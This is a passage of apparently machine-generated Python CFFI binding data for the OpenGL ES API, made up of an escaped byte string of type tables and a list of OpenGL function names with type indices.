x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x09\x01\x00\x00\x09\x01\x00\x00\x78\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x09\x01\x00\x00\x78\x11\x00\x00\x08\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x1B\x03\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x04\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x04\x01\x00\x00\x04\x01\x00\x00\x04\x01\x00\x00\x04\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x04\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x68\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x68\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x01\x3D\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x6D\x11\x00\x00\x6C\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x6D\x11\x00\x00\x68\x11\x00\x00\x68\x11\x00\x00\x68\x11\x00\x00\x68\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x0A\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x3D\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\xD3\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x0D\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x6C\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x6C\x11\x00\x00\x6C\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\xF7\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x0A\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\xD3\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x6C\x11\x00\x00\x6D\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x6C\x11\x00\x00\x6C\x11\x00\x00\x68\x11\x00\x00\x6D\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x3D\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x04\x01\x00\x00\x07\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x68\x11\x00\x00\x6C\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x08\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x08\x01\x00\x00\x6C\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x6C\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x01\x1F\x11\x00\x00\x68\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x78\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x03\x69\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x09\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x09\x01\x00\x00\x09\x01\x00\x00\x09\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x2E\x03\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x04\xB3\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x68\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x01\x3D\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x6D\x11\x00\x00\x08\x01\x00\x00\x6D\x11\x00\x00\x68\x11\x00\x00\x68\x11\x00\x00\x68\x11\x00\x00\x68\x11\x00\x05\xA4\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x0A\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\xD3\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x0D\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x6C\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x0A\x11\x00\x01\x1F\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x6C\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x6C\x11\x00\x00\x6D\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x01\x3D\x11\x00\x00\x07\x01\x00\x00\x6C\x11\x00\x00\x3D\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x01\x3D\x11\x00\x00\x07\x01\x00\x00\x6C\x11\x00\x00\x6C\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x01\x3D\x11\x00\x00\x04\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x08\x01\x00\x00\x78\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x08\x01\x00\x00\x78\x11\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x09\x01\x00\x00\x09\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x0A\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x0A\x11\x00\x00\x78\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x01\x1F\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x01\x1F\x03\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x78\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x78\x11\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x78\x11\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x78\x11\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x08\x01\x00\x00\x78\x11\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x0D\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x78\x11\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x07\x01\x00\x00\x08\x01\x00\x00\x08\x01\x00\x00\x0D\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x06\x91\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x01\x1F\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x78\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x08\x01\x00\x00\x78\x11\x00\x00\x07\x01\x00\x00\x07\x01\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x78\x11\x00\x00\x07\x01\x00\x00\x0A\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x78\x11\x00\x00\x07\x01\x00\x00\x6C\x11\x00\x00\x6D\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x06\x5D\x03\x00\x00\x78\x11\x00\x00\x00\x0F\x00\x06\xEB\x0D\x00\x00\x00\x0F\x00\x00\x02\x01\x00\x00\x0E\x01\x00\x00\x15\x01\x00\x00\x1B\x01\x00\x00\x05\x01\x00\x00\x03\x01\x00\x00\x00\x09\x00\x00\x01\x09\x00\x00\x02\x09\x00\x00\x16\x01\x00\x00\x0A\x01\x00\x00\x06\x01\x00\x00\x00\x01', _globals = (b'\x00\x01\xF2\x23glActiveProgramEXT',0,b'\x00\x04\xCF\x23glActiveShaderProgram',0,b'\x00\x04\xCF\x23glActiveShaderProgramEXT',0,b'\x00\x01\xF2\x23glActiveTexture',0,b'\x00\x01\xFD\x23glAlphaFuncQCOM',0,b'\x00\x06\xDD\x23glApplyFramebufferAttachmentCMAAINTEL',0,b'\x00\x04\xCF\x23glAttachShader',0,b'\x00\x04\xCF\x23glBeginConditionalRenderNV',0,b'\x00\x01\xF2\x23glBeginPerfMonitorAMD',0,b'\x00\x01\xF2\x23glBeginPerfQueryINTEL',0,b'\x00\x04\xCF\x23glBeginQuery',0,b'\x00\x04\xCF\x23glBeginQueryEXT',0,b'\x00\x01\xF2\x23glBeginTransformFeedback',0,b'\x00\x04\xE2\x23glBindAttribLocation',0,b'\x00\x04\xCF\x23glBindBuffer',0,b'\x00\x05\xB5\x23glBindBufferBase',0,b'\x00\x06\x41\x23glBindBufferRange',0,b'\x00\x04\xE2\x23glBindFragDataLocationEXT',0,b'\x00\x05\xC7\x23glBindFragDataLocationIndexedEXT',0,b'\x00\x04\xCF\x23glBindFramebuffer',0,b'\x00\x05\x45\x23glBindImageTexture',0,b'\x00\x01\xF2\x23glBindProgramPipeline',0,b'\x00\x01\xF2\x23glBindProgramPipelineEXT',0,b'\x00\x04\xCF\x23glBindRenderbuffer',0,b'\x00\x04\xCF\x23glBindSampler',0,b'\x00\x04\xCF\x23glBindTexture',0,b'\x00\x04\xCF\x23glBindTransformFeedback',0,b'\x00\x01\xF2\x23glBindVertexArray',0,b'\x00\x01\xF2\x23glBindVertexArrayOES',0,b'\x00\x05\x94\x23glBindVertexBuffer',0,b'\x00\x06\xDD\x23glBlendBarrier',0,b'\x00\x06\xDD\x23glBlendBarrierKHR',0,b'\x00\x06\xDD\x23glBlendBarrierNV',0,b'\x00\x00\xAD\x23glBlendColor',0,b'\x00\x01\xF2\x23glBlendEquation',0,b'\x00\x01\xF2\x23glBlendEquationEXT',0,b'\x00\x04\xCF\x23glBlendEquationSeparate',0,b'\x00\x05\xB5\x23glBlendEquationSeparatei',0,b'\x00\x05\xB5\x23glBlendEquationSeparateiEXT',0,b'\x00\x05\xB5\x23glBlendEquationSeparateiOES',0,b'\x00\x04\xCF\x23glBlendEquationi',0,b'\x00\x04\xCF\x23glBlendEquationiEXT',0,b'\x00\x04\xCF\x23glBlendEquationiOES',0,b'\x00\x04\xCF\x23glBlendFunc',0,b'\x00\x06\x48\x23glBlendFuncSeparate',0,b'\x00\x06\x77\x23glBlendFuncSeparatei',0,b'\x00\x06\x77\x23glBlendFuncSeparateiEXT',0,b'\x00\x06\x77\x23glBlendFuncSeparateiOES',0,b'\x00\x05\xB5\x23glBlendFunci',0,b'\x00\x05\xB5\x23glBlendFunciEXT',0,b'\x00\x05\xB5\x23glBlendFunciOES',0,b'\x00\x02\x37\x23glBlendParameteriNV',0,b'\x00\x01\x0B\x23glBlitFramebuffer',0,b'\x00\x01\x0B\x23glBlitFramebufferANGLE',0,b'\x00\x01\x0B\x23glBlitFramebufferNV',0,b'\x00\x04\xAB\x23glBufferData',0,b'\x00\x04\xAB\x23glBufferStorageEXT',0,b'\x00\x04\xA5\x23glBufferSubData',0,b'\x00\x00\x54\x23glCheckFramebufferStatus',0,b'\x00\x01\xF2\x23glClear',0,b'\x00\x02\x71\x23glClearBufferfi',0,b'\x00\x02\x52\x23glClearBufferfv',0,b'\x00\x02\x8F\x23glClearBufferiv',0,b'\x00\x03\xAC\x23glClearBufferuiv',0,b'\x00\x00\xAD\x23glClearColor',0,b'\x00\x00\xA1\x23glClearDepthf',0,b'\x00\x01\x3A\x23glClearPixelLocalStorageuiEXT',0,b'\x00\x00\xC6\x23glClearStencil',0,b'\x00\x04\x5B\x23glClearTexImageEXT',0,b'\x00\x03\x00\x23glClearTexSubImageEXT',0,b'\x00\x00\x4F\x23glClientWaitSync',0,b'\x00\x00\x4F\x23glClientWaitSyncAPPLE',0,b'\x00\x01\xE4\x23glColorMask',0,b'\x00\x04\xB9\x23glColorMaski',0,b'\x00\x04\xB9\x23glColorMaskiEXT',0,b'\x00\x04\xB9\x23glColorMaskiOES',0,b'\x00\x01\xF2\x23glCompileShader',0,b'\x00\x04\x15\x23glCompressedTexImage2D',0,b'\x00\x03\xFE\x23glCompressedTexImage3D',0,b'\x00\x03\xFE\x23glCompressedTexImage3DOES',0,b'\x00\x03\x19\x23glCompressedTexSubImage2D',0,b'\x00\x02\xE6\x23glCompressedTexSubImage3D',0,b'\x00\x02\xE6\x23glCompressedTexSubImage3DOES',0,b'\x00\x02\x37\x23glConservativeRasterParameteriNV',0,b'\x00\x05\x9A\x23glCopyBufferSubData',0,b'\x00\x05\x9A\x23glCopyBufferSubDataNV',0,b'\x00\x05\x34\x23glCopyImageSubData',0,b'\x00\x05\x34\x23glCopyImageSubDataEXT',0,b'\x00\x05\x34\x23glCopyImageSubDataOES',0,b'\x00\x04\xCF\x23glCopyPathNV',0,b'\x00\x03\xF4\x23glCopyTexImage2D',0,b'\x00\x02\xC6\x23glCopyTexSubImage2D',0,b'\x00\x02\xD0\x23glCopyTexSubImage3D',0,b'\x00\x02\xD0\x23glCopyTexSubImage3DOES',0,b'\x00\x05\x27\x23glCopyTextureLevelsAPPLE',0,b'\x00\x01\xAA\x23glCoverFillPathInstancedNV',0,b'\x00\x04\xCF\x23glCoverFillPathNV',0,b'\x00\x01\xAA\x23glCoverStrokePathInstancedNV',0,b'\x00\x04\xCF\x23glCoverStrokePathNV',0,b'\x00\x01\xE1\x23glCoverageMaskNV',0,b'\x00\x01\xF2\x23glCoverageModulationNV',0,b'\x00\x00\xD1\x23glCoverageModulationTableNV',0,b'\x00\x01\xF2\x23glCoverageOperationNV',0,b'\x00\x04\xC7\x23glCreatePerfQueryINTEL',0,b'\x00\x00\x91\x23glCreateProgram',0,b'\x00\x00\x54\x23glCreateShader',0,b'\x00\x00\x57\x23glCreateShaderProgramEXT',0,b'\x00\x00\x60\x23glCreateShaderProgramv',0,b'\x00\x00\x5B\x23glCreateShaderProgramvEXT',0,b'\x00\x01\xF2\x23glCullFace',0,b'\x00\x06\xD9\x23glDebugMessageCallback',0,b'\x00\x06\xD9\x23glDebugMessageCallbackKHR',0,b'\x00\x06\x28\x23glDebugMessageControl',0,b'\x00\x06\x28\x23glDebugMessageControlKHR',0,b'\x00\x06\x55\x23glDebugMessageInsert',0,b'\x00\x06\x55\x23glDebugMessageInsertKHR',0,b'\x00\x01\x6F\x23glDeleteBuffers',0,b'\x00\x01\x6F\x23glDeleteFencesNV',0,b'\x00\x01\x6F\x23glDeleteFramebuffers',0,b'\x00\x02\x37\x23glDeletePathsNV',0,b'\x00\x01\x6B\x23glDeletePerfMonitorsAMD',0,b'\x00\x01\xF2\x23glDeletePerfQueryINTEL',0,b'\x00\x01\xF2\x23glDeleteProgram',0,b'\x00\x01\x6F\x23glDeleteProgramPipelines',0,b'\x00\x01\x6F\x23glDeleteProgramPipelinesEXT',0,b'\x00\x01\x6F\x23glDeleteQueries',0,b'\x00\x01\x6F\x23glDeleteQueriesEXT',0,b'\x00\x01\x6F\x23glDeleteRenderbuffers',0,b'\x00\x01\x6F\x23glDeleteSamplers',0,b'\x00\x01\xF2\x23glDeleteShader',0,b'\x00\x01\xCB\x23glDeleteSync',0,b'\x00\x01\xCB\x23glDeleteSyncAPPLE',0,b'\x00\x01\x6F\x23glDeleteTextures',0,b'\x00\x01\x6F\x23glDeleteTransformFeedbacks',0,b'\x00\x01\x6F\x23glDeleteVertexArrays',0,b'\x00\x01\x6F\x23glDeleteVertexArraysOES',0,b'\x00\x01\xF2\x23glDepthFunc',0,b'\x00\x01\xE1\x23glDepthMask',0,b'\x00\x02\x52\x23glDepthRangeArrayfvNV',0,b'\x00\x02\x52\x23glDepthRangeArrayfvOES',0,b'\x00\x02\x01\x23glDepthRangeIndexedfNV',0,b'\x00\x02\x01\x23glDepthRangeIndexedfOES',0,b'\x00\x00\xA4\x23glDepthRangef',0,b'\x00\x04\xCF\x23glDetachShader',0,b'\x00\x01\xF2\x23glDisable',0,b'\x00\x01\xF2\x23glDisableDriverControlQCOM',0,b'\x00\x01\xF2\x23glDisableVertexAttribArray',0,b'\x00\x04\xCF\x23glDisablei',0,b'\x00\x04\xCF\x23glDisableiEXT',0,b'\x00\x04\xCF\x23glDisableiNV',0,b'\x00\x04\xCF\x23glDisableiOES',0,b'\x00\x03\xAC\x23glDiscardFramebufferEXT',0,b'\x00\x05\xB5\x23glDispatchCompute',0,b'\x00\x01\xC8\x23glDispatchComputeIndirect',0,b'\x00\x02\x94\x23glDrawArrays',0,b'\x00\x06\xC4\x23glDrawArraysIndirect',0,b'\x00\x02\xB1\x23glDrawArraysInstanced',0,b'\x00\x02\xB1\x23glDrawArraysInstancedANGLE',0,b'\x00\x03\x39\x23glDrawArraysInstancedBaseInstanceEXT',0,b'\x00\x02\xB1\x23glDrawArraysInstancedEXT',0,b'\x00\x02\xB1\x23glDrawArraysInstancedNV',0,b'\x00\x01\x6F\x23glDrawBuffers',0,b'\x00\x01\x6F\x23glDrawBuffersEXT',0,b'\x00\x01\x73\x23glDrawBuffersIndexedEXT',0,b'\x00\x01\x6F\x23glDrawBuffersNV',0,b'\x00\x04\x62\x23glDrawElements',0,b'\x00\x04\x68\x23glDrawElementsBaseVertex',0,b'\x00\x04\x68\x23glDrawElementsBaseVertexEXT',0,b'\x00\x04\x68\x23glDrawElementsBaseVertexOES',0,b'\x00\x06\x93\x23glDrawElementsIndirect',0,b'\x00\x04\x68\x23glDrawElementsInstanced',0,b'\x00\x04\x68\x23glDrawElementsInstancedANGLE',0,b'\x00\x04\x80\x23glDrawElementsInstancedBaseInstanceEXT',0,b'\x00\x04\x6F\x23glDrawElementsInstancedBaseVertex',0,b'\x00\x04\x77\x23glDrawElementsInstancedBaseVertexBaseInstanceEXT',0,b'\x00\x04\x6F\x23glDrawElementsInstancedBaseVertexEXT',0,b'\x00\x04\x6F\x23glDrawElementsInstancedBaseVertexOES',0,b'\x00\x04\x68\x23glDrawElementsInstancedEXT',0,b'\x00\x04\x68\x23glDrawElementsInstancedNV',0,b'\x00\x06\x30\x23glDrawRangeElements',0,b'\x00\x06\x38\x23glDrawRangeElementsBaseVertex',0,b'\x00\x06\x38\x23glDrawRangeElementsBaseVertexEXT',0,b'\x00\x06\x38\x23glDrawRangeElementsBaseVertexOES',0,b'\x00\x04\xCF\x23glDrawTransformFeedbackEXT',0,b'\x00\x05\x06\x23glDrawTransformFeedbackInstancedEXT',0,b'\x00\x06\xC0\x23glEGLImageTargetRenderbufferStorageOES',0,b'\x00\x06\xC0\x23glEGLImageTargetTexture2DOES',0,b'\x00\x01\xF2\x23glEnable',0,b'\x00\x01\xF2\x23glEnableDriverControlQCOM',0,b'\x00\x01\xF2\x23glEnableVertexAttribArray',0,b'\x00\x04\xCF\x23glEnablei',0,b'\x00\x04\xCF\x23glEnableiEXT',0,b'\x00\x04\xCF\x23glEnableiNV',0,b'\x00\x04\xCF\x23glEnableiOES',0,b'\x00\x06\xDD\x23glEndConditionalRenderNV',0,b'\x00\x01\xF2\x23glEndPerfMonitorAMD',0,b'\x00\x01\xF2\x23glEndPerfQueryINTEL',0,b'\x00\x01\xF2\x23glEndQuery',0,b'\x00\x01\xF2\x23glEndQueryEXT',0,b'\x00\x01\xF2\x23glEndTilingQCOM',0,b'\x00\x06\xDD\x23glEndTransformFeedback',0,b'\x00\x06\xBC\x23glExtGetBufferPointervQCOM',0,b'\x00\x01\xED\x23glExtGetBuffersQCOM',0,b'\x00\x01\xED\x23glExtGetFramebuffersQCOM',0,b'\x00\x04\xD3\x23glExtGetProgramBinarySourceQCOM',0,b'\x00\x01\xED\x23glExtGetProgramsQCOM',0,b'\x00\x01\xED\x23glExtGetRenderbuffersQCOM',0,b'\x00\x01\xED\x23glExtGetShadersQCOM',0,b'\x00\x05\x5B\x23glExtGetTexLevelParameterivQCOM',0,b'\x00\x02\xF3\x23glExtGetTexSubImageQCOM',0,b'\x00\x01\xED\x23glExtGetTexturesQCOM',0,b'\x00\x00\x30\x23glExtIsProgramBinaryQCOM',0,b'\x00\x05\x06\x23glExtTexObjectStateOverrideiQCOM',0,b'\x00\x00\x11\x23glFenceSync',0,b'\x00\x00\x11\x23glFenceSyncAPPLE',0,b'\x00\x06\xDD\x23glFinish',0,b'\x00\x01\xF2\x23glFinishFenceNV',0,b'\x00\x06\xDD\x23glFlush',0,b'\x00\x04\xA0\x23glFlushMappedBufferRange',0,b'\x00\x04\xA0\x23glFlushMappedBufferRangeEXT',0,b'\x00\x01\xF2\x23glFragmentCoverageColorNV',0,b'\x00\x05\x06\x23glFramebufferParameteri',0,b'\x00\x02\x37\x23glFramebufferPixelLocalStorageSizeEXT',0,b'\x00\x06\x48\x23glFramebufferRenderbuffer',0,b'\x00\x05\x11\x23glFramebufferSampleLocationsfvNV',0,b'\x00\x05\xDF\x23glFramebufferTexture',0,b'\x00\x06\x4E\x23glFramebufferTexture2D',0,b'\x00\x06\x6E\x23glFramebufferTexture2DDownsampleIMG',0,b'\x00\x06\x66\x23glFramebufferTexture2DMultisampleEXT',0,b'\x00\x06\x66\x23glFramebufferTexture2DMultisampleIMG',0,b'\x00\x06\x66\x23glFramebufferTexture3DOES',0,b'\x00\x05\xDF\x23glFramebufferTextureEXT',0,b'\x00\x05\xFC\x23glFramebufferTextureLayer',0,b'\x00\x06\x0B\x23glFramebufferTextureLayerDownsampleIMG',0,b'\x00\x06\x0B\x23glFramebufferTextureMultisampleMultiviewOVR',0,b'\x00\x06\x03\x23glFramebufferTextureMultiviewOVR',0,b'\x00\x05\xDF\x23glFramebufferTextureOES',0,b'\x00\x01\xF2\x23glFrontFace',0,b'\x00\x01\x6B\x23glGenBuffers',0,b'\x00\x01\x6B\x23glGenFencesNV',0,b'\x00\x01\x6B\x23glGenFramebuffers',0,b'\x00\x00\x4C\x23glGenPathsNV',0,b'\x00\x01\x6B\x23glGenPerfMonitorsAMD',0,b'\x00\x01\x6B\x23glGenProgramPipelines',0,b'\x00\x01\x6B\x23glGenProgramPipelinesEXT',0,b'\x00\x01\x6B\x23glGenQueries',0,b'\x00\x01\x6B\x23glGenQueriesEXT',0,b'\x00\x01\x6B\x23glGenRenderbuffers',0,b'\x00\x01\x6B\x23glGenSamplers',0,b'\x00\x01\x6B\x23glGenTextures',0,b'\x00\x01\x6B\x23glGenTransformFeedbacks',0,b'\x00\x01\x6B\x23glGenVertexArrays',0,b'\x00\x01\x6B\x23glGenVertexArraysOES',0,b'\x00\x01\xF2\x23glGenerateMipmap',0,b'\x00\x05\x1E\x23glGetActiveAttrib',0,b'\x00\x05\x1E\x23glGetActiveUniform',0,b'\x00\x05\x17\x23glGetActiveUniformBlockName',0,b'\x00\x05\xD9\x23glGetActiveUniformBlockiv',0,b'\x00\x03\xC0\x23glGetActiveUniformsiv',0,b'\x00\x02\x82\x23glGetAttachedShaders',0,b'\x00\x00\x08\x23glGetAttribLocation',0,b'\x00\x05\xA6\x23glGetBooleani_v',0,b'\x00\x04\xB1\x23glGetBooleanv',0,b'\x00\x05\x8F\x23glGetBufferParameteri64v',0,b'\x00\x04\xF6